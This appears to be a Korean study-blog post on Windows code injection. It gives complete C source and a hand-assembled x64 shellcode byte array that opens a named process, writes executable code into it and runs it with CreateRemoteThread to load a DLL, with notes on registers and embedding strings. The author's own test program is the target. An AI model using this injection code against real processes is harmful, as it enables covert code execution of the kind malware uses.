Code Injection With asm
어셈블리를 이용해 Code Injection을 한다.
#include "windows.h"
#include "tlhelp32.h"
#include "tchar.h"
#include "stdio.h"
#define DEF_PROC_NAME (L"conso.exe")
#define DEF_DLL_NAME (L"C:\\Users\\a0102\\source\\repos\\Dll1\\x64\\Release\\Dll1.dll")
DWORD FindProcessID(LPCTSTR szProcessName)
{
DWORD dwPID = 0xFFFFFFFF;
HANDLE hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe;
// Get the snapshot of the system
pe.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
// find process
Process32First(hSnapShot, &pe);
do
{
if (!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile))
{
dwPID = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapShot, &pe));
CloseHandle(hSnapShot);
return dwPID;
}
typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
} THREAD_PARAM, * PTHREAD_PARAM;
BYTE g_InjectionCode[] =
{
0x53, 0x48, 0x89, 0xCB, 0x48, 0xC7, 0xC0,
0x2E, 0x64, 0x6C, 0x6C, 0x50, 0x48, 0xB8, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x50,
0x48, 0x89, 0xE1, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x13, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x89, 0xC1,
0x48, 0xC7, 0xC0, 0x61, 0x72, 0x79, 0x41, 0x50, 0x48, 0xB8, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69,
0x62, 0x72, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x81, 0xEC, 0x00, 0x01, 0x00, 0x00, 0xFF, 0x53, 0x08,
0x48, 0x81, 0xC4, 0x00, 0x01, 0x00, 0x00, 0x48, 0x89, 0xC3, 0x48, 0xC7, 0xC0, 0x00, 0x00, 0x00,
0x00, 0x50, 0x48, 0xB8, 0x44, 0x6C, 0x6C, 0x31, 0x2E, 0x64, 0x6C, 0x6C, 0x50, 0x48, 0x89, 0xE1,
0x48, 0x83, 0xEC, 0x20, 0xFF, 0xD3, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x83, 0xC4, 0x30, 0x5B, 0xC3
};
BOOL InjectCode(DWORD dwPID)
{
HMODULE hMod = NULL;
THREAD_PARAM param = { 0, };
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pRemoteBuf[2] = { 0, };
hMod = GetModuleHandleA("kernel32.dll");
// set THREAD_PARAM
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
// Open Process
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, // dwDesiredAccess
FALSE, // bInheritHandle
dwPID))) // dwProcessId
{
printf("OpenProcess() fail : err_code = %d\n", GetLastError());
return FALSE;
}
// Allocation for THREAD_PARAM
if (!(pRemoteBuf[0] = VirtualAllocEx(hProcess, // hProcess
NULL, // lpAddress
sizeof(THREAD_PARAM), // dwSize
MEM_COMMIT, // flAllocationType
PAGE_READWRITE))) // flProtect
{
printf("VirtualAllocEx() fail : err_code = %d\n", GetLastError());
return FALSE;
}
if (!WriteProcessMemory(hProcess, // hProcess
pRemoteBuf[0], // lpBaseAddress
(LPVOID)¶m, // lpBuffer
sizeof(THREAD_PARAM), // nSize
NULL)) // [out] lpNumberOfBytesWritten
{
printf("WriteProcessMemory() fail : err_code = %d\n", GetLastError());
return FALSE;
}
// Allocation for ThreadProc()
if (!(pRemoteBuf[1] = VirtualAllocEx(hProcess, // hProcess
NULL, // lpAddress
sizeof(g_InjectionCode), // dwSize
MEM_COMMIT, // flAllocationType
PAGE_EXECUTE_READWRITE))) // flProtect
{
printf("VirtualAllocEx() fail : err_code = %d\n", GetLastError());
return FALSE;
}
if (!WriteProcessMemory(hProcess, // hProcess
pRemoteBuf[1], // lpBaseAddress
(LPVOID)&g_InjectionCode, // lpBuffer
sizeof(g_InjectionCode), // nSize
NULL)) // [out] lpNumberOfBytesWritten
{
printf("WriteProcessMemory() fail : err_code = %d\n", GetLastError());
return FALSE;
}
printf("%p\n", pRemoteBuf[0]);
printf("%p\n", pRemoteBuf[1]);
if (!(hThread = CreateRemoteThread(hProcess, // hProcess
NULL, // lpThreadAttributes
0, // dwStackSize
(LPTHREAD_START_ROUTINE)pRemoteBuf[1],
pRemoteBuf[0], // lpParameter
0, // dwCreationFlags
NULL))) // lpThreadId
{
printf("CreateRemoteThread() fail : err_code = %d\n", GetLastError());
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int main(int argc, char* argv[])
{
DWORD dwPID = 0;
// code injection
dwPID = (DWORD)FindProcessID(DEF_PROC_NAME);
printf("%d\n", dwPID);
InjectCode(dwPID);
return 0;
}
함수를 설명하면
Main
Process 이름으로 PID를 찾고 InjectCode에 인자로 넣고 호출
InjectCode
인자로 넣어줄 메모리 1개와 코드 부분 메모리 1개를 할당해서
인자로 LoadLibrary와 GetProceAddress 주소를 넣어주고
코드 부분에는 만들어둔 어셈블리를 넣어주고 원격스레드로 호출한다.
어셈블리 설명
나의 CPU에서는 이런식으로 함수를 호출하길래 예제랑 다르게 바꿔보았다.
이 어셈블리의 목적은
loadlibaray를 사용해서 kenrel32.dll 로딩 하고
getprocaddress사용해서 loadlibrary 얻고
loadlibrary 사용해서 Dll1.dll 로딩
다른것도 할 수 있지만 간단하게 위의 기능을 구현했다.
구현하기 위해 함수를 분석했다.
원격 스레드를 호출하면 rbx에 인자가 들어온다.
loadlibrary는 [rbx]에 있고 인는 rcx에 문자열 주소를 넣어준다.
그리고 안에서 스텍을 약 20정도 사용해서 호출 전에 할당해주고 호출 후없애준다.
getprocaddress는 [rbx+8]에 있고 인자 dll헨들은 rcx에, 문자 주소는 rdx에 넣고 호출한다.
함수 안에서 스텍을 약 100정도 사용해서 호출전에 할당해주고 호출 후 없애준다.
문자열을 나는 스택에 저장했는데,
kernel32.dll
6b65726e656c3332 2e646c6c
LoadLibraryA
4c6f61644c69627261727941
Dll1.dll
446c6c312e646c6c
인데 스택에 넣기때문에 뒤에서부터 push해준다
kernerl32.dll의 경우 6c6c642e ,32336c656e72656b
이런식으로 데이터를 코드에 삽입할 수 있다.
위 방식의 어셈블리는 문자열을 스택에 집어넣는 방식으로 했지만
이처럼 코드 자체를 문자열로 사용할 수도 있다.
call을 하면 return 주소로 그 아래 부분이 스택에 push되기 떄문에
call 다음바이트 부터 문자열을 입력하고 문자열이 끝나는 부분의 주소를 call해주면
call 다음 바이트 주소는 스택에 들어가고 문자열은 점프하기 때문에
인자인 rcx에 [rsp]를 넣어주면 rcx에 문자열의 주소가 들어가게 된다.